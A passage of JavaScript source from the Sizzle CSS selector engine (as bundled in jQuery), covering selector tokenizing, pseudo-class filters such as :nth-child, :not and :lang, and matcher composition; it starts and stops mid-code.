).replace( runescape, funescape );\n\n\t\t\tif ( match[2] === \"~=\" ) {\n\t\t\t\tmatch[3] = \" \" + match[3] + \" \";\n\t\t\t}\n\n\t\t\treturn match.slice( 0, 4 );\n\t\t},\n\n\t\t\"CHILD\": function( match ) {\n\t\t\t/* matches from matchExpr[\"CHILD\"]\n\t\t\t\t1 type (only|nth|...)\n\t\t\t\t2 what (child|of-type)\n\t\t\t\t3 argument (even|odd|\\d*|\\d*n([+-]\\d+)?|...)\n\t\t\t\t4 xn-component of xn+y argument ([+-]?\\d*n|)\n\t\t\t\t5 sign of xn-component\n\t\t\t\t6 x of xn-component\n\t\t\t\t7 sign of y-component\n\t\t\t\t8 y of y-component\n\t\t\t*/\n\t\t\tmatch[1] = match[1].toLowerCase();\n\n\t\t\tif ( match[1].slice( 0, 3 ) === \"nth\" ) {\n\t\t\t\t// nth-* requires argument\n\t\t\t\tif ( !match[3] ) {\n\t\t\t\t\tSizzle.error( match[0] );\n\t\t\t\t}\n\n\t\t\t\t// numeric x and y parameters for Expr.filter.CHILD\n\t\t\t\t// remember that false/true cast respectively to 0/1\n\t\t\t\tmatch[4] = +( match[4] ? match[5] + (match[6] || 1) : 2 * ( match[3] === \"even\" || match[3] === \"odd\" ) );\n\t\t\t\tmatch[5] = +( ( match[7] + match[8] ) || match[3] === \"odd\" );\n\n\t\t\t// other types prohibit arguments\n\t\t\t} else if ( match[3] ) {\n\t\t\t\tSizzle.error( match[0] );\n\t\t\t}\n\n\t\t\treturn match;\n\t\t},\n\n\t\t\"PSEUDO\": function( match ) {\n\t\t\tvar excess,\n\t\t\t\tunquoted = !match[5] && match[2];\n\n\t\t\tif ( matchExpr[\"CHILD\"].test( match[0] ) ) {\n\t\t\t\treturn null;\n\t\t\t}\n\n\t\t\t// Accept quoted arguments as-is\n\t\t\tif ( match[3] && match[4] !== undefined ) {\n\t\t\t\tmatch[2] = match[4];\n\n\t\t\t// Strip excess characters from unquoted arguments\n\t\t\t} else if ( unquoted && rpseudo.test( unquoted ) &&\n\t\t\t\t// Get excess from tokenize (recursively)\n\t\t\t\t(excess = tokenize( unquoted, true )) &&\n\t\t\t\t// advance to the next closing parenthesis\n\t\t\t\t(excess = unquoted.indexOf( \")\", unquoted.length - excess ) - unquoted.length) ) {\n\n\t\t\t\t// excess is a negative index\n\t\t\t\tmatch[0] = match[0].slice( 0, excess );\n\t\t\t\tmatch[2] = unquoted.slice( 0, excess );\n\t\t\t}\n\n\t\t\t// Return only captures needed by the pseudo filter method (type and argument)\n\t\t\treturn match.slice( 0, 3 );\n\t\t}\n\t},\n\n\tfilter: {\n\n\t\t\"TAG\": function( nodeNameSelector ) {\n\t\t\tvar nodeName = nodeNameSelector.replace( runescape, funescape ).toLowerCase();\n\t\t\treturn nodeNameSelector === \"*\" ?\n\t\t\t\tfunction() { return true; } :\n\t\t\t\tfunction( elem ) {\n\t\t\t\t\treturn elem.nodeName && elem.nodeName.toLowerCase() === nodeName;\n\t\t\t\t};\n\t\t},\n\n\t\t\"CLASS\": function( className ) {\n\t\t\tvar pattern = classCache[ className + \" \" ];\n\n\t\t\treturn pattern ||\n\t\t\t\t(pattern = new RegExp( \"(^|\" + whitespace + \")\" + className + \"(\" + whitespace + \"|$)\" )) &&\n\t\t\t\tclassCache( className, function( elem ) {\n\t\t\t\t\treturn pattern.test( typeof elem.className === \"string\" && elem.className || typeof elem.getAttribute !== strundefined && elem.getAttribute(\"class\") || \"\" );\n\t\t\t\t});\n\t\t},\n\n\t\t\"ATTR\": function( name, operator, check ) {\n\t\t\treturn function( elem ) {\n\t\t\t\tvar result = Sizzle.attr( elem, name );\n\n\t\t\t\tif ( result == null ) {\n\t\t\t\t\treturn operator === \"!=\";\n\t\t\t\t}\n\t\t\t\tif ( !operator ) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\n\t\t\t\tresult += \"\";\n\n\t\t\t\treturn operator === \"=\" ? result === check :\n\t\t\t\t\toperator === \"!=\" ? result !== check :\n\t\t\t\t\toperator === \"^=\" ? check && result.indexOf( check ) === 0 :\n\t\t\t\t\toperator === \"*=\" ? check && result.indexOf( check ) > -1 :\n\t\t\t\t\toperator === \"$=\" ? check && result.slice( -check.length ) === check :\n\t\t\t\t\toperator === \"~=\" ? ( \" \" + result + \" \" ).indexOf( check ) > -1 :\n\t\t\t\t\toperator === \"|=\" ? result === check || result.slice( 0, check.length + 1 ) === check + \"-\" :\n\t\t\t\t\tfalse;\n\t\t\t};\n\t\t},\n\n\t\t\"CHILD\": function( type, what, argument, first, last ) {\n\t\t\tvar simple = type.slice( 0, 3 ) !== \"nth\",\n\t\t\t\tforward = type.slice( -4 ) !== \"last\",\n\t\t\t\tofType = what === \"of-type\";\n\n\t\t\treturn first === 1 && last === 0 ?\n\n\t\t\t\t// Shortcut for :nth-*(n)\n\t\t\t\tfunction( elem ) {\n\t\t\t\t\treturn !!elem.parentNode;\n\t\t\t\t} :\n\n\t\t\t\tfunction( elem, context, xml ) {\n\t\t\t\t\tvar cache, outerCache, node, diff, nodeIndex, start,\n\t\t\t\t\t\tdir = simple !== forward ? \"nextSibling\" : \"previousSibling\",\n\t\t\t\t\t\tparent = elem.parentNode,\n\t\t\t\t\t\tname = ofType && elem.nodeName.toLowerCase(),\n\t\t\t\t\t\tuseCache = !xml && !ofType;\n\n\t\t\t\t\tif ( parent ) {\n\n\t\t\t\t\t\t// :(first|last|only)-(child|of-type)\n\t\t\t\t\t\tif ( simple ) {\n\t\t\t\t\t\t\twhile ( dir ) {\n\t\t\t\t\t\t\t\tnode = elem;\n\t\t\t\t\t\t\t\twhile ( (node = node[ dir ]) ) {\n\t\t\t\t\t\t\t\t\tif ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) {\n\t\t\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// Reverse direction for :only-* (if we haven't yet done so)\n\t\t\t\t\t\t\t\tstart = dir = type === \"only\" && !start && \"nextSibling\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tstart = [ forward ? parent.firstChild : parent.lastChild ];\n\n\t\t\t\t\t\t// non-xml :nth-child(...) stores cache data on `parent`\n\t\t\t\t\t\tif ( forward && useCache ) {\n\t\t\t\t\t\t\t// Seek `elem` from a previously-cached index\n\t\t\t\t\t\t\touterCache = parent[ expando ] || (parent[ expando ] = {});\n\t\t\t\t\t\t\tcache = outerCache[ type ] || [];\n\t\t\t\t\t\t\tnodeIndex = cache[0] === dirruns && cache[1];\n\t\t\t\t\t\t\tdiff = cache[0] === dirruns && cache[2];\n\t\t\t\t\t\t\tnode = nodeIndex && parent.childNodes[ nodeIndex ];\n\n\t\t\t\t\t\t\twhile ( (node = ++nodeIndex && node && node[ dir ] ||\n\n\t\t\t\t\t\t\t\t// Fallback to seeking `elem` from the start\n\t\t\t\t\t\t\t\t(diff = nodeIndex = 0) || start.pop()) ) {\n\n\t\t\t\t\t\t\t\t// When found, cache indexes on `parent` and break\n\t\t\t\t\t\t\t\tif ( node.nodeType === 1 && ++diff && node === elem ) {\n\t\t\t\t\t\t\t\t\touterCache[ type ] = [ dirruns, nodeIndex, diff ];\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Use previously-cached element index if available\n\t\t\t\t\t\t} else if ( useCache && (cache = (elem[ expando ] || (elem[ expando ] = {}))[ type ]) && cache[0] === dirruns ) {\n\t\t\t\t\t\t\tdiff = cache[1];\n\n\t\t\t\t\t\t// xml :nth-child(...) or :nth-last-child(...) or :nth(-last)?-of-type(...)\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// Use the same loop as above to seek `elem` from the start\n\t\t\t\t\t\t\twhile ( (node = ++nodeIndex && node && node[ dir ] ||\n\t\t\t\t\t\t\t\t(diff = nodeIndex = 0) || start.pop()) ) {\n\n\t\t\t\t\t\t\t\tif ( ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) && ++diff ) {\n\t\t\t\t\t\t\t\t\t// Cache the index of each encountered element\n\t\t\t\t\t\t\t\t\tif ( useCache ) {\n\t\t\t\t\t\t\t\t\t\t(node[ expando ] || (node[ expando ] = {}))[ type ] = [ dirruns, diff ];\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\tif ( node === elem ) {\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Incorporate the offset, then check against cycle size\n\t\t\t\t\t\tdiff -= last;\n\t\t\t\t\t\treturn diff === first || ( diff % first === 0 && diff / first >= 0 );\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t},\n\n\t\t\"PSEUDO\": function( pseudo, argument ) {\n\t\t\t// pseudo-class names are case-insensitive\n\t\t\t// http://www.w3.org/TR/selectors/#pseudo-classes\n\t\t\t// Prioritize by case sensitivity in case custom pseudos are added with uppercase letters\n\t\t\t// Remember that setFilters inherits from pseudos\n\t\t\tvar args,\n\t\t\t\tfn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] ||\n\t\t\t\t\tSizzle.error( \"unsupported pseudo: \" + pseudo );\n\n\t\t\t// The user may use createPseudo to indicate that\n\t\t\t// arguments are needed to create the filter function\n\t\t\t// just as Sizzle does\n\t\t\tif ( fn[ expando ] ) {\n\t\t\t\treturn fn( argument );\n\t\t\t}\n\n\t\t\t// But maintain support for old signatures\n\t\t\tif ( fn.length > 1 ) {\n\t\t\t\targs = [ pseudo, pseudo, \"\", argument ];\n\t\t\t\treturn Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ?\n\t\t\t\t\tmarkFunction(function( seed, matches ) {\n\t\t\t\t\t\tvar idx,\n\t\t\t\t\t\t\tmatched = fn( seed, argument ),\n\t\t\t\t\t\t\ti = matched.length;\n\t\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\t\tidx = indexOf.call( seed, matched[i] );\n\t\t\t\t\t\t\tseed[ idx ] = !( matches[ idx ] = matched[i] );\n\t\t\t\t\t\t}\n\t\t\t\t\t}) :\n\t\t\t\t\tfunction( elem ) {\n\t\t\t\t\t\treturn fn( elem, 0, args );\n\t\t\t\t\t};\n\t\t\t}\n\n\t\t\treturn fn;\n\t\t}\n\t},\n\n\tpseudos: {\n\t\t// Potentially complex pseudos\n\t\t\"not\": markFunction(function( selector ) {\n\t\t\t// Trim the selector passed to compile\n\t\t\t// to avoid treating leading and trailing\n\t\t\t// spaces as combinators\n\t\t\tvar input = [],\n\t\t\t\tresults = [],\n\t\t\t\tmatcher = compile( selector.replace( rtrim, \"$1\" ) );\n\n\t\t\treturn matcher[ expando ] ?\n\t\t\t\tmarkFunction(function( seed, matches, context, xml ) {\n\t\t\t\t\tvar elem,\n\t\t\t\t\t\tunmatched = matcher( seed, null, xml, [] ),\n\t\t\t\t\t\ti = seed.length;\n\n\t\t\t\t\t// Match elements unmatched by `matcher`\n\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\tif ( (elem = unmatched[i]) ) {\n\t\t\t\t\t\t\tseed[i] = !(matches[i] = elem);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}) :\n\t\t\t\tfunction( elem, context, xml ) {\n\t\t\t\t\tinput[0] = elem;\n\t\t\t\t\tmatcher( input, null, xml, results );\n\t\t\t\t\treturn !results.pop();\n\t\t\t\t};\n\t\t}),\n\n\t\t\"has\": markFunction(function( selector ) {\n\t\t\treturn function( elem ) {\n\t\t\t\treturn Sizzle( selector, elem ).length > 0;\n\t\t\t};\n\t\t}),\n\n\t\t\"contains\": markFunction(function( text ) {\n\t\t\treturn function( elem ) {\n\t\t\t\treturn ( elem.textContent || elem.innerText || getText( elem ) ).indexOf( text ) > -1;\n\t\t\t};\n\t\t}),\n\n\t\t// \"Whether an element is represented by a :lang() selector\n\t\t// is based solely on the element's language value\n\t\t// being equal to the identifier C,\n\t\t// or beginning with the identifier C immediately followed by \"-\".\n\t\t// The matching of C against the element's language value is performed case-insensitively.\n\t\t// The identifier C does not have to be a valid language name.\"\n\t\t// http://www.w3.org/TR/selectors/#lang-pseudo\n\t\t\"lang\": markFunction( function( lang ) {\n\t\t\t// lang value must be a valid identifier\n\t\t\tif ( !ridentifier.test(lang || \"\") ) {\n\t\t\t\tSizzle.error( \"unsupported lang: \" + lang );\n\t\t\t}\n\t\t\tlang = lang.replace( runescape, funescape ).toLowerCase();\n\t\t\treturn function( elem ) {\n\t\t\t\tvar elemLang;\n\t\t\t\tdo {\n\t\t\t\t\tif ( (elemLang = documentIsHTML ?\n\t\t\t\t\t\telem.lang :\n\t\t\t\t\t\telem.getAttribute(\"xml:lang\") || elem.getAttribute(\"lang\")) ) {\n\n\t\t\t\t\t\telemLang = elemLang.toLowerCase();\n\t\t\t\t\t\treturn elemLang === lang || elemLang.indexOf( lang + \"-\" ) === 0;\n\t\t\t\t\t}\n\t\t\t\t} while ( (elem = elem.parentNode) && elem.nodeType === 1 );\n\t\t\t\treturn false;\n\t\t\t};\n\t\t}),\n\n\t\t// Miscellaneous\n\t\t\"target\": function( elem ) {\n\t\t\tvar hash = window.location && window.location.hash;\n\t\t\treturn hash && hash.slice( 1 ) === elem.id;\n\t\t},\n\n\t\t\"root\": function( elem ) {\n\t\t\treturn elem === docElem;\n\t\t},\n\n\t\t\"focus\": function( elem ) {\n\t\t\treturn elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex);\n\t\t},\n\n\t\t// Boolean properties\n\t\t\"enabled\": function( elem ) {\n\t\t\treturn elem.disabled === false;\n\t\t},\n\n\t\t\"disabled\": function( elem ) {\n\t\t\treturn elem.disabled === true;\n\t\t},\n\n\t\t\"checked\": function( elem ) {\n\t\t\t// In CSS3, :checked should return both checked and selected elements\n\t\t\t// http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked\n\t\t\tvar nodeName = elem.nodeName.toLowerCase();\n\t\t\treturn (nodeName === \"input\" && !!elem.checked) || (nodeName === \"option\" && !!elem.selected);\n\t\t},\n\n\t\t\"selected\": function( elem ) {\n\t\t\t// Accessing this property makes selected-by-default\n\t\t\t// options in Safari work properly\n\t\t\tif ( elem.parentNode ) {\n\t\t\t\telem.parentNode.selectedIndex;\n\t\t\t}\n\n\t\t\treturn elem.selected === true;\n\t\t},\n\n\t\t// Contents\n\t\t\"empty\": function( elem ) {\n\t\t\t// http://www.w3.org/TR/selectors/#empty-pseudo\n\t\t\t// :empty is negated by element (1) or content nodes (text: 3; cdata: 4; entity ref: 5),\n\t\t\t//   but not by others (comment: 8; processing instruction: 7; etc.)\n\t\t\t// nodeType < 6 works because attributes (2) do not appear as children\n\t\t\tfor ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {\n\t\t\t\tif ( elem.nodeType < 6 ) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn true;\n\t\t},\n\n\t\t\"parent\": function( elem ) {\n\t\t\treturn !Expr.pseudos[\"empty\"]( elem );\n\t\t},\n\n\t\t// Element/input types\n\t\t\"header\": function( elem ) {\n\t\t\treturn rheader.test( elem.nodeName );\n\t\t},\n\n\t\t\"input\": function( elem ) {\n\t\t\treturn rinputs.test( elem.nodeName );\n\t\t},\n\n\t\t\"button\": function( elem ) {\n\t\t\tvar name = elem.nodeName.toLowerCase();\n\t\t\treturn name === \"input\" && elem.type === \"button\" || name === \"button\";\n\t\t},\n\n\t\t\"text\": function( elem ) {\n\t\t\tvar attr;\n\t\t\treturn elem.nodeName.toLowerCase() === \"input\" &&\n\t\t\t\telem.type === \"text\" &&\n\n\t\t\t\t// Support: IE<8\n\t\t\t\t// New HTML5 attribute values (e.g., \"search\") appear with elem.type === \"text\"\n\t\t\t\t( (attr = elem.getAttribute(\"type\")) == null || attr.toLowerCase() === \"text\" );\n\t\t},\n\n\t\t// Position-in-collection\n\t\t\"first\": createPositionalPseudo(function() {\n\t\t\treturn [ 0 ];\n\t\t}),\n\n\t\t\"last\": createPositionalPseudo(function( matchIndexes, length ) {\n\t\t\treturn [ length - 1 ];\n\t\t}),\n\n\t\t\"eq\": createPositionalPseudo(function( matchIndexes, length, argument ) {\n\t\t\treturn [ argument < 0 ? argument + length : argument ];\n\t\t}),\n\n\t\t\"even\": createPositionalPseudo(function( matchIndexes, length ) {\n\t\t\tvar i = 0;\n\t\t\tfor ( ; i < length; i += 2 ) {\n\t\t\t\tmatchIndexes.push( i );\n\t\t\t}\n\t\t\treturn matchIndexes;\n\t\t}),\n\n\t\t\"odd\": createPositionalPseudo(function( matchIndexes, length ) {\n\t\t\tvar i = 1;\n\t\t\tfor ( ; i < length; i += 2 ) {\n\t\t\t\tmatchIndexes.push( i );\n\t\t\t}\n\t\t\treturn matchIndexes;\n\t\t}),\n\n\t\t\"lt\": createPositionalPseudo(function( matchIndexes, length, argument ) {\n\t\t\tvar i = argument < 0 ? argument + length : argument;\n\t\t\tfor ( ; --i >= 0; ) {\n\t\t\t\tmatchIndexes.push( i );\n\t\t\t}\n\t\t\treturn matchIndexes;\n\t\t}),\n\n\t\t\"gt\": createPositionalPseudo(function( matchIndexes, length, argument ) {\n\t\t\tvar i = argument < 0 ? argument + length : argument;\n\t\t\tfor ( ; ++i < length; ) {\n\t\t\t\tmatchIndexes.push( i );\n\t\t\t}\n\t\t\treturn matchIndexes;\n\t\t})\n\t}\n};\n\nExpr.pseudos[\"nth\"] = Expr.pseudos[\"eq\"];\n\n// Add button/input type pseudos\nfor ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) {\n\tExpr.pseudos[ i ] = createInputPseudo( i );\n}\nfor ( i in { submit: true, reset: true } ) {\n\tExpr.pseudos[ i ] = createButtonPseudo( i );\n}\n\n// Easy API for creating new setFilters\nfunction setFilters() {}\nsetFilters.prototype = Expr.filters = Expr.pseudos;\n\nExpr.setFilters = new setFilters();\n\nfunction tokenize( selector, parseOnly ) {\n\tvar matched, match, tokens, type,\n\t\tsoFar, groups, preFilters,\n\t\tcached = tokenCache[ selector + \" \" ];\n\n\tif ( cached ) {\n\t\treturn parseOnly ? 0 : cached.slice( 0 );\n\t}\n\n\tsoFar = selector;\n\tgroups = [];\n\tpreFilters = Expr.preFilter;\n\n\twhile ( soFar ) {\n\n\t\t// Comma and first run\n\t\tif ( !matched || (match = rcomma.exec( soFar )) ) {\n\t\t\tif ( match ) {\n\t\t\t\t// Don't consume trailing commas as valid\n\t\t\t\tsoFar = soFar.slice( match[0].length ) || soFar;\n\t\t\t}\n\t\t\tgroups.push( (tokens = []) );\n\t\t}\n\n\t\tmatched = false;\n\n\t\t// Combinators\n\t\tif ( (match = rcombinators.exec( soFar )) ) {\n\t\t\tmatched = match.shift();\n\t\t\ttokens.push({\n\t\t\t\tvalue: matched,\n\t\t\t\t// Cast descendant combinators to space\n\t\t\t\ttype: match[0].replace( rtrim, \" \" )\n\t\t\t});\n\t\t\tsoFar = soFar.slice( matched.length );\n\t\t}\n\n\t\t// Filters\n\t\tfor ( type in Expr.filter ) {\n\t\t\tif ( (match = matchExpr[ type ].exec( soFar )) && (!preFilters[ type ] ||\n\t\t\t\t(match = preFilters[ type ]( match ))) ) {\n\t\t\t\tmatched = match.shift();\n\t\t\t\ttokens.push({\n\t\t\t\t\tvalue: matched,\n\t\t\t\t\ttype: type,\n\t\t\t\t\tmatches: match\n\t\t\t\t});\n\t\t\t\tsoFar = soFar.slice( matched.length );\n\t\t\t}\n\t\t}\n\n\t\tif ( !matched ) {\n\t\t\tbreak;\n\t\t}\n\t}\n\n\t// Return the length of the invalid excess\n\t// if we're just parsing\n\t// Otherwise, throw an error or return tokens\n\treturn parseOnly ?\n\t\tsoFar.length :\n\t\tsoFar ?\n\t\t\tSizzle.error( selector ) :\n\t\t\t// Cache the tokens\n\t\t\ttokenCache( selector, groups ).slice( 0 );\n}\n\nfunction toSelector( tokens ) {\n\tvar i = 0,\n\t\tlen = tokens.length,\n\t\tselector = \"\";\n\tfor ( ; i < len; i++ ) {\n\t\tselector += tokens[i].value;\n\t}\n\treturn selector;\n}\n\nfunction addCombinator( matcher, combinator, base ) {\n\tvar dir = combinator.dir,\n\t\tcheckNonElements = base && dir === \"parentNode\",\n\t\tdoneName = done++;\n\n\treturn combinator.first ?\n\t\t// Check against closest ancestor/preceding element\n\t\tfunction( elem, context, xml ) {\n\t\t\twhile ( (elem = elem[ dir ]) ) {\n\t\t\t\tif ( elem.nodeType === 1 || checkNonElements ) {\n\t\t\t\t\treturn matcher( elem, context, xml );\n\t\t\t\t}\n\t\t\t}\n\t\t} :\n\n\t\t// Check against all ancestor/preceding elements\n\t\tfunction( elem, context, xml ) {\n\t\t\tvar oldCache, outerCache,\n\t\t\t\tnewCache = [ dirruns, doneName ];\n\n\t\t\t// We can't set arbitrary data on XML nodes, so they don't benefit from dir caching\n\t\t\tif ( xml ) {\n\t\t\t\twhile ( (elem = elem[ dir ]) ) {\n\t\t\t\t\tif ( elem.nodeType === 1 || checkNonElements ) {\n\t\t\t\t\t\tif ( matcher( elem, context, xml ) ) {\n\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\twhile ( (elem = elem[ dir ]) ) {\n\t\t\t\t\tif ( elem.nodeType === 1 || checkNonElements ) {\n\t\t\t\t\t\touterCache = elem[ expando ] || (elem[ expando ] = {});\n\t\t\t\t\t\tif ( (oldCache = outerCache[ dir ]) &&\n\t\t\t\t\t\t\toldCache[ 0 ] === dirruns && oldCache[ 1 ] === doneName ) {\n\n\t\t\t\t\t\t\t// Assign to newCache so results back-propagate to previous elements\n\t\t\t\t\t\t\treturn (newCache[ 2 ] = oldCache[ 2 ]);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// Reuse newcache so results back-propagate to previous elements\n\t\t\t\t\t\t\touterCache[ dir ] = newCache;\n\n\t\t\t\t\t\t\t// A match means we're done; a fail means we have to keep checking\n\t\t\t\t\t\t\tif ( (newCache[ 2 ] = matcher( elem, context, xml )) ) {\n\t\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t};\n}\n\nfunction elementMatcher( matchers ) {\n\treturn matchers.length > 1 ?\n\t\tfunction( elem, context, xml ) {\n\t\t\tvar i = matchers.length;\n\t\t\twhile ( i-- ) {\n\t\t\t\tif ( !matchers[i]( elem, context, xml ) ) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn true;\n\t\t} :\n\t\tmatchers[0];\n}\n\nfunction condense( unmatched, map, filter, context, xml ) {\n\tvar elem,\n\t\tnewUnmatched = [],\n\t\ti = 0,\n\t\tlen = unmatched.length,\n\t\tmapped = map != null;\n\n\tfor ( ; i < len; i++ ) {\n\t\tif ( (elem = unmatched[i]) ) {\n\t\t\tif ( !filter || filter( elem, context, xml ) ) {\n\t\t\t\tnewUnmatched.push( elem );\n\t\t\t\tif ( mapped ) {\n\t\t\t\t\tmap.push( i );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn newUnmatched;\n}\n\nfunction setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) {\n\tif ( postFilter && !postFilter[ expando ] ) {\n\t\tpostFilter = setMatcher( postFilter );\n\t}\n\tif ( postFinder && !postFinder[ expando ] ) {\n\t\tpostFinder = setMatcher( postFinder, postSelector );\n\t}\n\treturn markFunction(function( seed, results, context, xml ) {\n\t\tvar temp, i, elem,\n\t\t\tpreMap = [],\n\t\t\tpostMap = [],\n\t\t\tpreexisting = results.length,\n\n\t\t\t// Get initial elements from seed or context\n\t\t\telems = seed || multipleContexts( selector || \"*\", context.nodeType ? [ context ] : context, [] ),\n\n\t\t\t// Prefilter to get matcher input, preserving a map for seed-results synchronization\n\t\t\tmatcherIn = preFilter && ( seed || !selector ) ?\n\t\t\t\tcondense( elems, preMap, preFilter, context, xml ) :\n\t\t\t\telems,\n\n\t\t\tmatcherOut = matcher ?\n\t\t\t\t// If we have a postFinder, or filtered seed, or non-seed postFilter or preexisting results,\n\t\t\t\tpostFinder || ( seed ? preFilter : preexisting || postFilter ) ?\n\n\t\t\t\t\t// ...intermediate processing is necessary\n\t\t\t\t\t[] :\n\n\t\t\t\t\t// ...otherwise use results directly\n\t\t\t\t\tresults :\n\t\t\t\tmatcherIn;\n\n\t\t// Find primary matches\n\t\tif ( matcher ) {\n\t\t\tmatcher( matcherIn, matcherOut, context, xml );\n\t\t}\n\n\t\t// Apply postFilter\n\t\tif ( postFilter ) {\n\t\t\ttemp = condense( matcherOut, postMap );\n\t\t\tpostFilter( temp, [], context, xml );\n\n\t\t\t// Un-match failing elements by moving them back to matcherIn\n\t\t\ti = temp.length;\n\t\t\twhile ( i-- ) {\n\t\t\t\tif ( (elem = temp[i]) ) {\n\t\t\t\t\tmatcherOut[ postMap[i] ] = !(matcherIn[ postMap[i] ] = elem);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif ( seed ) {\n\t\t\tif ( postFinder || preFilter ) {\n\t\t\t\tif ( postFinder ) {\n\t\t\t\t\t// Get the final matcherOut by condensing this intermediate into postFinder contexts\n\t\t\t\t\ttemp = [];\n\t\t\t\t\ti = matcherOut.length;\n\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\tif ( (elem = matcherOut[i]) ) {\n\t\t\t\t\t\t\t// Restore matcherIn since elem is not yet a final match\n\t\t\t\t\t\t\ttemp.push( (matcherIn[i] = elem) );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tpostFinder( null, (matcherOut = []), temp, xml );\n\t\t\t\t}\n\n\t\t\t\t// Move matched elements from seed to results to keep them synchronized\n\t\t\t\ti = matcherOut.length;\n\t\t\t\twhile ( i-- ) {\n\t\t\t\t\tif ( (elem = matcherOut[i]) &&\n\t\t\t\t\t\t(temp = postFinder ? indexOf.call( seed, elem ) : preMap[i]) > -1 ) {\n\n\t\t\t\t\t\tseed[temp] = !(results[temp] = elem);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t// Add elements to results, through postFinder if defined\n\t\t} else {\n\t\t\tmatcherOut = condense(\n\t\t\t\tmatcherOut === results ?\n\t\t\t\t\tmatcherOut.splice( preexisting, matcherOut.length ) :\n\t\t\t\t\tmatcherOut\n\t\t\t);\n\t\t\tif ( postFinder ) {\n\t\t\t\tpostFinder( null, results, matcherOut, xml );\n\t\t\t} else {\n\t\t\t\tpush.apply( results, matcherOut );\n\t\t\t}\n\t\t}\n\t});\n}\n\nfunction matcherFromTokens( tokens ) {\n\tvar checkContext, matcher, j,\n\t\tlen = tokens.length,\n\t\tleadingRelative = Expr.relative[ tokens[0].type ],\n\t\timplicitRelative = leadingRelative || Expr.relative[\" \"],\n\t\ti = leadingRelative ? 1 : 0,\n\n\t\t// The foundational matcher ensures that elements are reachable from top-level context(s)\n\t\tmatchContext = addCombinator( function( elem ) {\n\t\t\treturn elem === checkContext;\n\t\t}, implicitRelative, true ),\n\t\tmatchAnyContext = addCombinator( function( elem ) {\n\t\t\treturn indexOf.call( checkContext, elem ) > -1;\n\t\t}, implicitRelative, true ),\n\t\tmatchers = [ function( elem, context, xml ) {\n\t\t\treturn ( !leadingRelative && ( xml || context !== outermostContext ) ) || (\n\t\t\t\t(checkContext = context).nodeType ?\n\t\t\t\t\tmatchContext( elem, context, xml ) :\n\t\t\t\t\tmatchAnyContext( elem, context, xml ) );\n\t\t} ];\n\n\tfor ( ; i < len; i++ ) {\n\t\tif ( (matcher = Expr.relative[ tokens[i].type ]) ) {\n\t\t\tmatchers = [ addCombinator(elementMatcher( matchers ), matcher) ];\n\t\t} else {\n\t\t\tmatcher = Expr.filter[ tokens[i].type ].apply( null, tokens[i].matches );\n\n\t\t\t// Return special upon seeing a positional matcher\n\t\t\tif ( matcher[ expando ] ) {\n\t\t\t\t// Find the next relative operator (if any) for proper handling\n\t\t\t\tj = ++i;\n\t\t\t\tfor ( ; j < len; j++ ) {\n\t\t\t\t\tif ( Expr.relative[ tokens[j].type ] ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn setMatcher(\n\t\t\t\t\ti > 1 && elementMatcher( matchers ),\n\t\t\t\t\ti > 1 && toSelector(\n\t\t\t\t\t\t// If the preceding token was a descendant combinator, insert an implicit any-element `*`\n\t\t\t\t\t\ttokens.slice( 0, i - 1 ).concat({ value: tokens[ i - 2 ].type === \" \" ? \"*\" : \"\" })\n\t\t\t\t\t).replace( rtrim, \"$1\" ),\n\t\t\t\t\tmatcher,\n\t\t\t\t\ti < j && matcherFromTokens( tokens.slice( i, j ) ),\n\t\t\t\t\tj < len && matcherFromTokens( (tokens = tokens.slice( j )) ),\n\t\t\t\t\tj < len && toSelector( tokens )\n\t\t\t\t);\n\t\t\t}\n\t\t\tmatchers.push( matcher );\n\t\t}\n\t}\n\n\treturn elementMatcher( matchers );\n}\n\nfunction matcherFromGroupMatchers( elementMatchers, setMatchers ) {\n\tvar bySet = setMatchers.length > 0,\n\t\tbyElement = elementMatchers.length > 0,\n\t\tsuperMatcher = function( seed, context, xml, results, outermost ) {\n\t\t\tvar elem, j, matcher,\n\t\t\t\tmatchedCount = 